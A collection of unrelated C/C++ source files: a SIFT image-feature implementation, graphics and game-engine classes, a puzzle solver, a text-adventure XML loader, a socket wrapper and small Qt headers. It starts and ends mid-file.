xWeights[j/2] = max(0.0f, 1-(fabs(center[j] - sx / 4.0f)));
yWeights[j/2] = max(0.0f, 1-(fabs(center[j+1] - sy / 4.0f)));
}
for(int a=0; a<16; a++){
for(int b=0; b<8; b++)
posWeights[a*8+b] = xWeights[a] * yWeights[a];
}
// Compute orientation weights
float orientWeights[128] = {0.0};
for(int a=0; a<8; a++){
float angle = tempGrad - (ele.ori) - orient_angles[a] + PI,
halfAngle = angle / (2.0 * PI);
// Half-Make
angle = angle - (int)(halfAngle) * (2.0 * PI);
diff[a] = angle - PI;
}
// Compute Gaussian weights
float gaussTemp = exp(-((sx - ele.x) * (sx - ele.x) + (sy - ele.y) * (sy - ele.y))
/ (2 * windowSize * windowSize)) / (2 * PI * windowSize * windowSize);
for(int a=0; a<128; a++){
orientWeights[a] = max(0.0f, (float)(1.0 - fabs(diff[a%8]) / orient_spacing * 1.0f));
// Compute final desciptors weights
desc[a] = desc[a] + orientWeights[a] * posWeights[a] * gaussTemp * tempMag;
}
}
cout << "Getting features " << count << endl;
// Norm descriptors
float norm = getNormVector(desc, 128);
for(int a=0; a<128; a++){
desc[a] /= norm;
// Contrast
if(desc[a] > 0.2) desc[a] = 0.2;
}
norm = getNormVector(desc, 128);
for(int a=0; a<128; a++)
desc[a] /= norm;
ele.descriptors = desc;
}
}
// Using down sampling to make half size
CImg<float> SIFT::makeHalfSize(CImg<float> input){
int halfWidth = input.width() / 2, halfHeight = input.height() / 2;
CImg<float> halfImg(halfWidth, halfHeight, 1, 3, 1);
cimg_forXY(halfImg, x, y){
halfImg(x, y) = input(x * 2, y * 2);
}
return halfImg;
}
// Using up sampling to make double size
CImg<float> SIFT::makeDoubleSize(CImg<float> input){
int doubleWidth = input.width() * 2, doubleHeight = input.height() * 2;
CImg<float> doubleImg(doubleWidth, doubleHeight, 1, 3, 1);
cimg_forXY(doubleImg, x, y){
doubleImg(x, y) = input(x / 2, y / 2);
}
return doubleImg;
}
// Get 2D gaussian kernel
CImg<float> SIFT::make2DGaussianKernel(float sigma){
int dim = (int)max(3.0f, (float)(2.0 * GAUSSKERN * sigma + 1.0f));
// Make dim no even
if(dim % 2 == 0) dim++;
// Make kernel
CImg<float> result(dim, dim, 1, 1, 0);
float m = 1.0f / (sqrt(2.0 * PI) * sigma);
for(int i=0; i<(dim+1)/2; i++){
for(int j=0; j<(dim+1)/2; j++){
float v = m * exp(-(1.0f*i*i + 1.0f*j*j) / (2.0f * sigma * sigma));
result(j + dim/2, i + dim/2) = v;
result(-j + dim/2, i + dim/2) = v;
result(j + dim/2, -i + dim/2) = v;
result(-j + dim/2, -i + dim/2) = v;
}
}
return result;
}
// Bilinear interpolation
float SIFT::getPixelBi(CImg<float> input, int col, int row){
int tempX = col, tempY = row;
if(tempX < 0 || tempX >= input.width()
|| tempY < 0 || tempY >= input.height())
return 0;
// Border check and reduce
if(col > input.width() - 1)
col = input.width() - 1;
if(row > input.height() - 1)
row = input.height() - 1;
float res1 = 0.0, res2 = 0.0;
float fracX = 1.0 - (col - tempX),
fracY = 1.0 - (row - tempY);
if(fracX < 1){
res1 = fracX * input(tempX, tempY) + (1.0 - fracX) * input(tempX + 1, tempY);
}else {
res1 = input(tempX, tempY);
}
if(fracY < 1){
if(fracX < 1){
res2 = fracX * input(tempX, tempY+1) + (1.0 - fracX) * input(tempX+1, tempY+1);
}else {
res2 = input(tempX, tempY+1);
}
}
return fracY * res1 + (1.0 - fracY) * res2;
}
// Pyrmids associate functions
CImg<float> SIFT::ImgJoinHorizen(CImg<float> img1, CImg<float> img2){
CImg<float> result(img1.width() + img2.width(), max(img1.height(), img2.height()), 1, 1, 0);
cimg_forXY(img1, x, y){
result(x, y) = img1(x, y);
}
cimg_forXY(img2, x, y){
result(x + img1.width(), y) = img2(x, y);
}
return result;
}
CImg<float> SIFT::ImgJoinVertical(CImg<float> img1, CImg<float> img2){
CImg<float> result(max(img1.width(), img2.width()), img1.height() + img2.height(), 1, 1, 0);
cimg_forXY(img1, x, y){
result(x, y) = img1(x, y);
}
cimg_forXY(img2, x, y){
result(x, y + img1.height()) = img2(x, y);
}
return result;
}
// Covert and normalization
CImg<float> SIFT::convertScale(CImg<float> src, float scale, float shift){
CImg<float> result(src.width(), src.height(), 1, 1, 0);
cimg_forXY(src, x, y){
result(x, y) = src(x, y) * scale + shift;
}
return result;
}
CImg<float> SIFT::toGrayImage(CImg<float> img){
CImg<float> result(img.width(), img.height(), 1, 1, 0);
cimg_forXY(result, x, y){
result(x, y) = 0.2126 * img(x, y, 0) + 0.7152 * img(x, y, 1) + 0.0722 * img(x, y, 2);
}
return result;
}
// Main process startup functions
void SIFT::SIFT_Start(){
// To gray
CImg<float> grayImg = toGrayImage(this->srcImg);
// Convert
grayImg = convertScale(grayImg, 1.0 / 255, 0);
int dim = min(grayImg.width(), grayImg.height());
this->octavesNum = (int)(log((float)dim) / log(2.0)) - 2;
this->octavesNum = min(octavesNum, MAXOCTAVES);
// Step 1. Filtering noises and init pyrmids
CImg<float> initImg = InitImage(grayImg);
cout << "fuck" << endl;
// Step 2. Make DOG pyramids and Gaussian pyramids
BuildGaussianOctave(initImg);
// Show Gaussian pyramids
cout << "fuck" << endl;
// Show DOG pyramids
// Step 3. Detect features pointss
DetectKeyPoints();
cout << "fuck" << endl;
this->keyPointsImg = srcImg;
DisplayKeyPoints();
this->keyPointsImg.display();
// Step 4. Compute gradients and main orientations of keyPoints
ComputeGrad_Mag_Dir();
AssignTheMainOrientation();
CImg<float> ttemp = srcImg;
DisplayOrientation(ttemp);
// Step 5. Extract key points descriptors
ExtractFeatureDescriptors();
}
vector<KeyPoint> SIFT::GetFirstKeyDescriptor(){
return this->keyDescriptors;
}
void SIFT::saveKeyPointsImg(char* fileName){
this->keyPointsImg.save(fileName);
}
|
/*********************************************************
* Copyright (C) 2017 Daniel Enriquez (camus_mm@hotmail.com)
* All Rights Reserved
*
* You may use, distribute and modify this code under the
* following terms:
* ** Do not claim that you wrote this software
* ** A mention would be appreciated but not needed
* ** I do not and will not provide support, this software is "as is"
* ** Enjoy, learn and share.
*********************************************************/
#ifndef T800_BASEDRIVER_H
#define T800_BASEDRIVER_H
#include "Config.h"
#include "Texture.h"
#include <vector>
struct BaseRT {
enum ATTACHMENTS
{
COLOR0_ATTACHMENT = 1,
COLOR1_ATTACHMENT = 2,
COLOR2_ATTACHMENT = 4,
COLOR3_ATTACHMENT = 8,
DEPTH_ATTACHMENT = 16
};
enum FORMAT
{
FD16 = 0,
F32,
RGB8,
RGBA8,
RGBA32F,
BGR8,
BGRA8,
BGRA32
};
bool LoadRT( int nrt, int cf, int df, int w, int h );
virtual bool LoadAPIRT() = 0;
int w;
int h;
int number_RT;
int color_format;
int depth_format;
std::vector<Texture*> vColorTextures;
Texture* pDepthTexture{ nullptr };
};
class BaseDriver {
public:
BaseDriver() { }
virtual void InitDriver(int iWidth, int iHeight) = 0;
virtual void CreateSurfaces() = 0;
virtual void DestroySurfaces() = 0;
virtual void Update() = 0;
virtual void DestroyDriver() = 0;
virtual void SetWindow(void *window) = 0;
virtual void SetDimensions(int,int) = 0;
virtual void Clear() = 0;
virtual void SwapBuffers() = 0;
virtual int CreateRT(int nrt, int cf, int df,int w, int h) = 0;
virtual void PushRT(int id) = 0;
virtual void PopRT() = 0;
virtual void DestroyRTs() = 0;
std::vector<BaseRT*> RTs;
int width;
int height;
};
#endif
|
#include <VlppWorkflowCompiler.h>
#include "../W05_Lib/W05_Lib.h"
using namespace vl::stream;
using namespace vl::parsing;
using namespace vl::filesystem;
using namespace vl::reflection::description;
using namespace vl::workflow::runtime;
int wmain(int argc, const wchar_t* argv[])
{
// start reflection
LoadPredefinedTypes();
WfLoadLibraryTypes();
LoadMyApiTypes();
GetGlobalTypeManager()->Load();
{
// load the assembly
FilePath assemblyPath = FilePath(argv[0]).GetFolder() / L"WorkflowAssembly.bin";
FileStream fileStream(assemblyPath.GetFullPath(), FileStream::ReadOnly);
CHECK_ERROR(fileStream.IsAvailable(), L"You need to run W05_Compile before W05_DynamicRun.");
WfAssemblyLoadErrors errors;
auto assembly = WfAssembly::Deserialize(fileStream, errors);
// initialize the assembly
auto globalContext = MakePtr<WfRuntimeGlobalContext>(assembly);
auto initializeFunction = LoadFunction<void()>(globalContext, L"<initialize>");
initializeFunction();
// call MyApp
auto myapp = Value::Create(L"myscript::MyApp");
auto scripting = UnboxValue<Ptr<myapi::IScripting>>(myapp.Invoke(L"CreateScripting"));
scripting->Execute(L"Gaclib");
}
// stop reflection
DestroyGlobalTypeManager();
}
|
#include <iostream>
#include <vector>
void stack_brick(std::vector<std::vector<int>> &map, int x, int y, int type, int idx)
{
int pos = -1;
for(int i = (type == 3) ? x + 2 : x + 1; i < 6; i++)
{
if(map[i][y] > 0)
{
break;
}
if(type == 2 && (map[i][y + 1] > 0))
{
break;
}
pos = i;
}
if(pos == -1)
{
return ;
}
map[x][y] = 0;
map[pos][y] = idx;
if(type == 2)
{
map[x][y + 1] = 0;
map[pos][y + 1] = idx;
}
if(type == 3)
{
map[x + 1][y] = 0;
map[pos - 1][y] = idx;
}
}
int get_point(std::vector<std::vector<int>> &map)
{
int ret = 0;
for(int i = 2; i < 6; i++)
{
int tot = 0;
for(int j = 0; j < 4; j++)
{
if(map[i][j] > 0)
{
tot++;
}
}
if(tot == 4)
{
ret++;
for(int j = 0; j < 4; j++)
{
map[i][j] = 0;
}
}
}
return ret;
}
void reorder(std::vector<std::vector<int>> &map)
{
for(int i = 4; i >= 0; i--)
{
for(int j = 0; j < 4; j++)
{
if(map[i][j] == 0)
{
continue;
}
if(j > 0 && map[i][j - 1] == map[i][j])
{
continue;
}
else if(i < 5 && map[i][j] == map[i + 1][j])
{
continue;
}
else if(j < 3 && map[i][j] == map[i][j + 1])
{
stack_brick(map, i, j, 2, map[i][j]);
}
else if(i > 0 && map[i][j] == map[i - 1][j])
{
stack_brick(map, i - 1, j, 3, map[i][j]);
}
else
{
stack_brick(map, i, j, 1, map[i][j]);
}
}
}
}
void check(std::vector<std::vector<int>> &map)
{
int count = 0;
for(int i = 0; i < 2; i++)
{
for(int j = 0; j < 4; j++)
{
if(map[i][j] > 0)
{
count++;
break;
}
}
}
if(count == 0)
{
return ;
}
for(int i = 5 - count; i >= 0; i--)
{
for(int j = 0; j < 4; j++)
{
map[i + count][j] = map[i][j];
}
}
for(int i = 0; i < 2; i++)
{
for(int j = 0; j < 4; j++)
{
map[i][j] = 0;
}
}
}
int main()
{
std::cin.sync_with_stdio(false);
std::cin.tie(NULL);
std::vector<std::vector<int>> blue(6, std::vector<int>(4, 0)), green(6, std::vector<int>(4, 0));
int n, brick_cnt = 0, point = 0;
std::cin >> n;
while(n--)
{
brick_cnt++;
int t, x, y, pts;
std::cin >> t >> x >> y;
blue[0][x] = brick_cnt;
green[0][y] = brick_cnt;
if(t == 2)
{
blue[1][x] = brick_cnt;
green[0][y + 1] = brick_cnt;
}
if(t == 3)
{
blue[0][x + 1] = brick_cnt;
green[1][y] = brick_cnt;
}
int b_brick_type = (t == 1) ? 1 : (t == 2) ? 3 : 2;
int g_brick_type = t;
stack_brick(blue, 0, x, b_brick_type, brick_cnt);
while((pts = get_point(blue)) > 0)
{
point += pts;
reorder(blue);
}
check(blue);
stack_brick(green, 0, y, g_brick_type, brick_cnt);
while((pts = get_point(green)) > 0)
{
point += pts;
reorder(green);
}
check(green);
}
int rest = 0;
for(int i = 0; i < 6; i++)
{
for(int j = 0; j < 4; j++)
{
if(blue[i][j] > 0)
{
rest++;
}
if(green[i][j] > 0)
{
rest++;
}
}
}
std::cout << point << '\n' << rest << '\n';
return 0;
}
|
#include "Scene/Component/PlanarMesh.h"
#define _USE_MATH_DEFINES
#include <math.h>
using namespace Rocket;
Vector4f PlanarMesh::s_QuadVertexPositions[4] = {
Vector4f(-0.5f, -0.5f, 0.0f, 1.0f),
Vector4f( 0.5f, -0.5f, 0.0f, 1.0f),
Vector4f( 0.5f, 0.5f, 0.0f, 1.0f),
Vector4f(-0.5f, 0.5f, 0.0f, 1.0f)
};
void PlanarMesh::AddQuad(const Vector2f& position, const Vector2f& size, const Vector4f& color)
{
AddQuad(Vector3f(position[0], position[1], 0.0f), size, color);
}
void PlanarMesh::AddQuad(const Vector3f& position, const Vector2f& size, const Vector4f& color)
{
Matrix4f transform = Matrix4f::Identity();
transform.block<3, 1>(0, 3) = position;
Matrix4f scale = Matrix4f::Identity();
scale(0, 0) = size[0];
scale(1, 1) = size[1];
transform = transform * scale;
AddQuad(transform, color);
}
void PlanarMesh::AddQuad(const Vector2f& position, const Vector2f& size, const Ref<Texture2D>& texture, float tilingFactor, const Vector4f& tintColor)
{
AddQuad(Vector3f(position[0], position[1], 0.0f), size, texture, tilingFactor, tintColor);
}
void PlanarMesh::AddQuad(const Vector3f& position, const Vector2f& size, const Ref<Texture2D>& texture, float tilingFactor, const Vector4f& tintColor)
{
Matrix4f transform = Matrix4f::Identity();
transform.block<3, 1>(0, 3) = position;
Matrix4f scale = Matrix4f::Identity();
scale(0, 0) = size[0];
scale(1, 1) = size[1];
transform = transform * scale;
AddQuad(transform, texture, tilingFactor, tintColor);
}
void PlanarMesh::AddRotatedQuad(const Vector2f& position, const Vector2f& size, float rotation, const Vector4f& color)
{
AddRotatedQuad(Vector3f(position[0], position[1], 0.0f), size, rotation, color);
}
void PlanarMesh::AddRotatedQuad(const Vector3f& position, const Vector2f& size, float rotation, const Vector4f& color)
{
AngleAxisf rot(rotation / 180.0f * M_PI, Vector3f(0, 0, 1));
Matrix3f rot_mat = rot.matrix();
Matrix4f transform = Matrix4f::Identity();
transform.block<3, 1>(0, 3) = position;
transform.block<3, 3>(0, 0) = rot_mat;
Matrix4f scale = Matrix4f::Identity();
scale(0, 0) = size[0];
scale(1, 1) = size[1];
transform = transform * scale;
AddQuad(transform, color);
}
void PlanarMesh::AddRotatedQuad(const Vector2f& position, const Vector2f& size, float rotation, const Ref<Texture2D>& texture, float tilingFactor, const Vector4f& tintColor)
{
AddRotatedQuad(Vector3f(position[0], position[1], 0.0f), size, rotation, texture, tilingFactor, tintColor);
}
void PlanarMesh::AddRotatedQuad(const Vector3f& position, const Vector2f& size, float rotation, const Ref<Texture2D>& texture, float tilingFactor, const Vector4f& tintColor)
{
AngleAxisf rot(rotation / 180.0f * M_PI, Vector3f(0, 0, 1));
Matrix3f rot_mat = rot.matrix();
Matrix4f transform = Matrix4f::Identity();
transform.block<3, 1>(0, 3) = position;
transform.block<3, 3>(0, 0) = rot_mat;
Matrix4f scale = Matrix4f::Identity();
scale(0, 0) = size[0];
scale(1, 1) = size[1];
transform = transform * scale;
AddQuad(transform, texture, tilingFactor, tintColor);
}
void PlanarMesh::AddQuad(const Matrix4f& transform, const Vector4f& color)
{
constexpr size_t quadVertexCount = 4;
const float textureIndex = 0.0f; // White Texture
const Vector2f textureCoords[] = {
Vector2f(0.0f, 0.0f),
Vector2f(1.0f, 0.0f),
Vector2f(1.0f, 1.0f),
Vector2f(0.0f, 1.0f),
};
const float tilingFactor = 1.0f;
QuadIndex index;
index = m_IndexOffset + 0; m_Index.push_back(index);
index = m_IndexOffset + 1; m_Index.push_back(index);
index = m_IndexOffset + 2; m_Index.push_back(index);
index = m_IndexOffset + 2; m_Index.push_back(index);
index = m_IndexOffset + 3; m_Index.push_back(index);
index = m_IndexOffset + 0; m_Index.push_back(index);
m_IndexOffset += 4;
for (size_t i = 0; i < quadVertexCount; i++)
{
QuadVertex vertex;
vertex.Position = transform * s_QuadVertexPositions[i];
vertex.Color = color;
vertex.TexCoord = textureCoords[i];
vertex.TexIndex = textureIndex;
vertex.TilingFactor = tilingFactor;
m_Vertex.push_back(vertex);
}
m_VertexCount += 1;
m_IndexCount += 6;
m_MeshChange = true;
}
void PlanarMesh::AddQuad(const Matrix4f& transform, const Ref<Texture2D>& texture, float tilingFactor, const Vector4f& tintColor)
{
constexpr size_t quadVertexCount = 4;
const Vector2f textureCoords[] = {
Vector2f(0.0f, 0.0f),
Vector2f(1.0f, 0.0f),
Vector2f(1.0f, 1.0f),
Vector2f(0.0f, 1.0f),
};
float textureIndex = 0.0f;
for (uint32_t i = 1; i < m_TextureSlotIndex; i++)
{
if (*m_TextureSlots[i] == *texture)
{
textureIndex = (float)i;
break;
}
}
if (textureIndex == 0.0f)
{
if(m_TextureSlotIndex >= m_MaxTexture)
{
RK_GRAPHICS_WARN("Planar Mesh TextureSlotIndex >= MaxTexture");
return;
}
textureIndex = (float)m_TextureSlotIndex;
m_TextureSlots[m_TextureSlotIndex] = texture;
//m_TextureSlots.push_back(texture);
m_TextureSlotIndex++;
}
QuadIndex index;
index = m_IndexOffset + 0; m_Index.push_back(index);
index = m_IndexOffset + 1; m_Index.push_back(index);
index = m_IndexOffset + 2; m_Index.push_back(index);
index = m_IndexOffset + 2; m_Index.push_back(index);
index = m_IndexOffset + 3; m_Index.push_back(index);
index = m_IndexOffset + 0; m_Index.push_back(index);
m_IndexOffset += 4;
for (size_t i = 0; i < quadVertexCount; i++)
{
QuadVertex vertex;
vertex.Position = transform * s_QuadVertexPositions[i];
vertex.Color = tintColor;
vertex.TexCoord = textureCoords[i];
vertex.TexIndex = textureIndex;
vertex.TilingFactor = tilingFactor;
m_Vertex.push_back(vertex);
}
m_VertexCount += 1;
m_IndexCount += 6;
m_MeshChange = true;
}
|
#include "BasicEnemy.h"
#include "PowerUp.h"
#include "Player.h"
std::vector < std::shared_ptr <BasicEnemy> > BasicEnemy::enemy;
bool BasicEnemy::renderHitbox = false;
sf::SoundBuffer BasicEnemy::enemyHitSoundBuffer;
BasicEnemy::BasicEnemy(int id)
{
hp = 3;
speed = 0.2;
shootSpeed = 1;
shootDelay = 1000;
randShootDelay = 0;
myDeltaTime = 0;
shootType = 3;
shootScale = 1;
timeToDeath = 0;
deathDeltaTime = 300;
particleName = "BasicEnemy";
particleAmmount = 15;
this->id = id;
srand(time(NULL));
hitboxTexture.loadFromFile("Images/hitbox.png");
//hitbox1.setTexture(hitboxTexture);
//hitbox2.setTexture(hitboxTexture);
//hitbox3.setTexture(hitboxTexture);
hitbox1.setSize(sf::Vector2f(100, 100));
hitbox2.setSize(sf::Vector2f(100, 100));
hitbox3.setSize(sf::Vector2f(100, 100));
hitbox1.setOrigin(50, 50);
hitbox2.setOrigin(50, 50);
hitbox3.setOrigin(50, 50);
hitbox1.setFillColor(sf::Color(0, 0, 0, 0));
hitbox2.setFillColor(sf::Color(0, 0, 0, 0));
hitbox3.setFillColor(sf::Color(0, 0, 0, 0));
hitbox1.setOutlineThickness(2);
hitbox2.setOutlineThickness(2);
hitbox3.setOutlineThickness(2);
hitbox1.setOutlineColor(sf::Color::Green);
hitbox2.setOutlineColor(sf::Color::Green);
hitbox3.setOutlineColor(sf::Color::Green);
enemyHit.setBuffer(enemyHitSoundBuffer);
}
void BasicEnemy::updateAll()
{
for (int i = BasicEnemy::enemy.size() - 1; i >= 0; i--)
{
BasicEnemy::enemy[i]->update(i);
}
}
void BasicEnemy::renderAll()
{
for (int i = BasicEnemy::enemy.size() - 1; i >= 0; i--)
{
BasicEnemy::enemy[i]->render();
}
}
sf::Vector2f BasicEnemy::getPosition()
{
return sprite.getPosition();
}
int BasicEnemy::mostToTheRight(int id)
{
int max = -10000;
for (int i = BasicEnemy::enemy.size() - 1; i >= 0; i--)
{
if (BasicEnemy::enemy[i]->getPosition().x > max && (id == -1 || id == BasicEnemy::enemy[i]->id)) max = BasicEnemy::enemy[i]->getPosition().x;
}
return max;
}
int BasicEnemy::mostToTheLeft(int id)
{
int max = 10000;
for (int i = BasicEnemy::enemy.size() - 1; i >= 0; i--)
{
if (BasicEnemy::enemy[i]->getPosition().x < max && (id == -1 || id == BasicEnemy::enemy[i]->id)) max = BasicEnemy::enemy[i]->getPosition().x;
}
return max;
}
int BasicEnemy::mostToTheTop(int id)
{
int max = 10000;
for (int i = BasicEnemy::enemy.size() - 1; i >= 0; i--)
{
if (BasicEnemy::enemy[i]->getPosition().y < max && (id == -1 || id == BasicEnemy::enemy[i]->id)) max = BasicEnemy::enemy[i]->getPosition().y;
}
return max;
}
int BasicEnemy::mostToTheBottom(int id)
{
int max = -10000;
for (int i = BasicEnemy::enemy.size() - 1; i >= 0; i--)
{
if (BasicEnemy::enemy[i]->getPosition().y > max && (id == -1 || id == BasicEnemy::enemy[i]->id)) max = BasicEnemy::enemy[i]->getPosition().y;
}
return max;
}
void BasicEnemy::moveRight()
{
if (timeToDeath == 0)
{
sf::Vector2f pos = sprite.getPosition();
pos.x += speed * GameInfo::getDeltaTime();
sprite.setPosition(pos);
}
}
void BasicEnemy::moveLeft()
{
if (timeToDeath == 0)
{
sf::Vector2f pos = sprite.getPosition();
pos.x -= speed * GameInfo::getDeltaTime();
sprite.setPosition(pos);
}
}
void BasicEnemy::moveUp()
{
if (timeToDeath == 0)
{
sf::Vector2f pos = sprite.getPosition();
pos.y -= speed * GameInfo::getDeltaTime();
sprite.setPosition(pos);
}
}
void BasicEnemy::moveDown()
{
if (timeToDeath == 0)
{
sf::Vector2f pos = sprite.getPosition();
pos.y += speed * GameInfo::getDeltaTime();
sprite.setPosition(pos);
}
}
void BasicEnemy::loadSound()
{
enemyHitSoundBuffer.loadFromFile("Sounds/enemyHit.wav");
}
void BasicEnemy::render()
{
Window::window.draw(sprite);
if (renderHitbox)
{
Window::window.draw(hitbox1);
Window::window.draw(hitbox2);
Window::window.draw(hitbox3);
}
}
void BasicEnemy::update(int enemyNumber)
{
shoot();
checkCollision(enemyNumber); //musi byc na koncu metody, bo moze usunac obiekt
}
void BasicEnemy::shoot()
{
myDeltaTime += GameInfo::getDeltaTime();
if (myDeltaTime > shootDelay)
{
sf::Vector2f pos;
pos = sprite.getPosition();
Shoot::create(pos.x, pos.y, 0, shootSpeed, false, shootType, shootScale);
if (randShootDelay == 0) myDeltaTime = 0;
else myDeltaTime = (std::rand() % randShootDelay) - randShootDelay/2;
}
}
void BasicEnemy::checkCollision(int enemyNumber)
{
sf::Vector2f pos = sprite.getPosition();
hitbox1.setPosition(pos + hitbox1pos);
hitbox2.setPosition(pos + hitbox2pos);
hitbox3.setPosition(pos + hitbox3pos);
for (int i = Shoot::shoot.size() - 1; i >= 0; i--)
{
if (Shoot::shoot[i]->playerShoot && Shoot::shoot[i]->checkCollision(hitbox2))
{
createMiddleParticle();
hp -= Shoot::shoot[i]->getDmg();
Shoot::shoot.erase(Shoot::shoot.begin() + i);
enemyHit.play();
}
else
{
if (Shoot::shoot[i]->playerShoot && Shoot::shoot[i]->checkCollision(hitbox1))
{
createLeftParticle();
hp -= Shoot::shoot[i]->getDmg();
Shoot::shoot.erase(Shoot::shoot.begin() + i);
enemyHit.play();
}
else
{
if (Shoot::shoot[i]->playerShoot && Shoot::shoot[i]->checkCollision(hitbox3))
{
createRightParticle();
hp -= Shoot::shoot[i]->getDmg();
Shoot::shoot.erase(Shoot::shoot.begin() + i);
enemyHit.play();
}
}
}
}
if (hp <= 0)
{
if (timeToDeath == 0)
{
destroy();
timeToDeath = 1;
}
timeToDeath += GameInfo::getDeltaTime();
if (timeToDeath > deathDeltaTime) enemy.erase(enemy.begin() + enemyNumber);
}
}
void BasicEnemy::destroy()
{
Explosion::create(sprite.getPosition());
int los;
if(LevelManager::actualLevel < 10) los = rand() % 33;
else los = rand() % 100;
if (Player::player.hp > 5 && los == 2)
{
los = rand() % 4;
if (los == 0) PowerUp::create(sprite.getPosition(), "shootSpeed");
if (los == 1) PowerUp::create(sprite.getPosition(), "shootDelay");
if (los == 2) PowerUp::create(sprite.getPosition(), "shootAmmount");
if (los == 3) PowerUp::create(sprite.getPosition(), "sizeDown");
}
else
{
if (los == 3 && Player::player.shootAmmount == 12)
{
los = rand() % 4;
if (los == 0) PowerUp::create(sprite.getPosition(), "shootSpeed");
if (los == 1) PowerUp::create(sprite.getPosition(), "shootDelay");
if (los == 2) PowerUp::create(sprite.getPosition(), "hp");
if (los == 3) PowerUp::create(sprite.getPosition(), "sizeDown");
}
else
{
if (los == 0) PowerUp::create(sprite.getPosition(), "shootSpeed");
if (los == 1) PowerUp::create(sprite.getPosition(), "shootDelay");
if (los == 2) PowerUp::create(sprite.getPosition(), "hp");
if (los == 3) PowerUp::create(sprite.getPosition(), "shootAmmount");
if (los == 4) PowerUp::create(sprite.getPosition(), "sizeDown");
}
}
}
void BasicEnemy::createLeftParticle()
{
Particle::addParticle(sprite.getPosition().x + hitbox1pos.x, sprite.getPosition().y + hitbox1pos.y, particleName, particleAmmount, 0.5);
}
void BasicEnemy::createMiddleParticle()
{
Particle::addParticle(sprite.getPosition().x + hitbox2pos.x, sprite.getPosition().y + hitbox2pos.y, particleName, particleAmmount, 0.5);
}
void BasicEnemy::createRightParticle()
{
Particle::addParticle(sprite.getPosition().x + hitbox3pos.x, sprite.getPosition().y + hitbox3pos.y, particleName, particleAmmount, 0.5);
}
|
#ifndef REMOVER_H
#define REMOVER_H
#include <QDialog>
namespace Ui {
class remover;
}
class remover : public QDialog
{
Q_OBJECT
public:
explicit remover(QWidget *parent = nullptr);
~remover();
private:
Ui::remover *ui;
};
#endif // REMOVER_H
|
#include <iostream>
#include <string>
#include <vector>
#include <cstring>
#include "../rapidxml/rapidxml.hpp"
#include "../rapidxml/rapidxml_utils.hpp"
#include "../rapidxml/rapidxml_print.hpp"
#include "utils.h"
#include "Room.h"
//#include "../rapidxml/rapidxml_iterators.hpp"
using namespace std;
using namespace rapidxml;
/*
Room * makeRoom(Room * room, xml_node<> * room_node){
//Room * new_room = new Room();
cout<< room_node->name() << endl;
//return new_room;
}
*/
int main(){
// Initialize and parse xml file
rapidxml::file<>xmlFile("../map1.xml");
rapidxml::xml_document<> doc;
doc.parse<0>(xmlFile.data());
// Initialize root xml node
xml_node<> *map = doc.first_node();
// Initialize Item Vector
vector<Item> gameItems;
int item_count = 0;
// Create all game items
xml_node<> *mapElement = NULL;
for(mapElement = map->first_node(); mapElement; mapElement = mapElement->next_sibling()){
//cout << mapElement->name() << endl;
if(strcmp(mapElement->name(),"item") == 0){
gameItems.push_back(makeItem(mapElement));
}
}
// Initialize Container Vector
vector<Container> gameContainers;
int container_count = 0;
// Create all game containers
mapElement = NULL;
for(mapElement = map->first_node(); mapElement; mapElement = mapElement->next_sibling()){
//cout << mapElement->name() << endl;
if(strcmp(mapElement->name(),"container") == 0){
gameContainers.push_back(makeContainer(mapElement, gameItems));
}
}
// Initialize Creature Vector
vector<Creature> gameCreatures;
int creature_count = 0;
// Create all game Creatures
mapElement = NULL;
for(mapElement = map->first_node(); mapElement; mapElement = mapElement->next_sibling()){
if(mapElement->name() == "creature"){
gameCreatures.push_back(makeCreature(mapElement));
}
}
vector<Item>::iterator i = gameItems.begin();
for(i = gameItems.begin(); i != gameItems.end(); i++){
cout << i->getName() << endl;
}
//Room * room_list = new Room[3];
//cout << "hi";
//room_list[0] = makeRoom(0, map);
//cout << room_list[0].getDescription();
/*while((buffer = buffer->next_sibling()) != NULL){
cout << buffer->name() << endl;
}*/
}
|
#ifndef GAMEMAP_H
#define GAMEMAP_H
#include <QWidget>
class gameMap : public QWidget
{
Q_OBJECT
public:
explicit gameMap(QWidget *parent = nullptr);
void left();
void right();
void up();
void down();
signals:
};
#endif // GAMEMAP_H
|
// #ifndef socket_h
#define socket_h
#include <exception>
#include <string>
class socket {
public:
socket();
void connect(std::string host, std::string port);
// int socketfd();
void close();
void bind(std::string, std::string = "localhost");
void send(std::string) const;
std::string receive() const;
socket accept() const;
~socket();
socket(socket&&);
const std::string& hostname() const;
bool isopen() const;
// void bind(std)
protected:
int sockfd() const;
private:
void static pipesetter();
socket(int con, std::string&&);
socket(int con);
int sock = -1;
mutable std::string hostname_connected_to;
std::string port;
// std::string resolved_host;
mutable bool open = false;
};
class socket_in_use : public std::exception {
public:
const char* what() const noexcept override { return "socket already open"; }
};
class socket_not_open : public std::exception {
public:
const char* what() const noexcept override {
return "can't send or receive before opening the socket";
}
};
class could_not_resolve_address : public std::exception {
public:
const char* what() const noexcept override { return "could not resolve address"; }
};
class connection_refused : public std::exception {
public:
const char* what() const noexcept override { return "connection refused"; }
};
class addrinfo_fail : public std::exception {
std::string error;
public:
addrinfo_fail(const char* err) : error(err) {}
const char* what() const noexcept override { return error.c_str(); }
};
class accept_fail : public std::exception {
public:
accept_fail(std::string err) { error = std::string("accept failed: ").append(err); }
const char* what() const noexcept override { return error.c_str(); }
private:
std::string error;
};
class listen_fail : public std::exception {
public:
listen_fail(std::string err) { error = std::string("listen failed: ").append(err); }
const char* what() const noexcept override { return error.c_str(); }
private:
std::string error;
};
class receive_fail : public std::exception {
public:
receive_fail(std::string errm, int en) : errnumber(en) {
error = std::string("receive failed: ").append(errm);
}
const char* what() const noexcept override { return error.c_str(); }
int errnum() const { return errnumber; }
private:
int errnumber;
std::string error;
};
class connection_closed : public std::exception {
public:
const char* what() const noexcept override { return "connection has been closed"; }
};
class bind_fail : public std::exception {
public:
bind_fail(std::string err) { error = std::string("bind failed: ").append(err); }
const char* what() const noexcept override { return error.c_str(); }
private:
std::string error;
};
class send_fail : public std::exception {
public:
send_fail(std::string err, int errnum) : num(errnum) {
error = std::string("send failed: ").append(err);
}
const char* what() const noexcept override { return error.c_str(); }
int errnum() const { return num; }
private:
int num = 0;
std::string error;
};
#endif /* end of include guard: */
|
#include <iostream>
using std::istream;
#include <string>
using std::getline;
#include "InputBuffer.h"
void InputBuffer::read(istream& string_stream) {
getline(string_stream, this->buffer);
}
const string& InputBuffer::getBuffer() const {
return this->buffer;
}
|
#include<stdio.h>
#include<windows.h>
#include<conio.h>
#include<time.h>
char cursor(int x, int y) {
HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
char buf[2];
COORD c = { x,y };
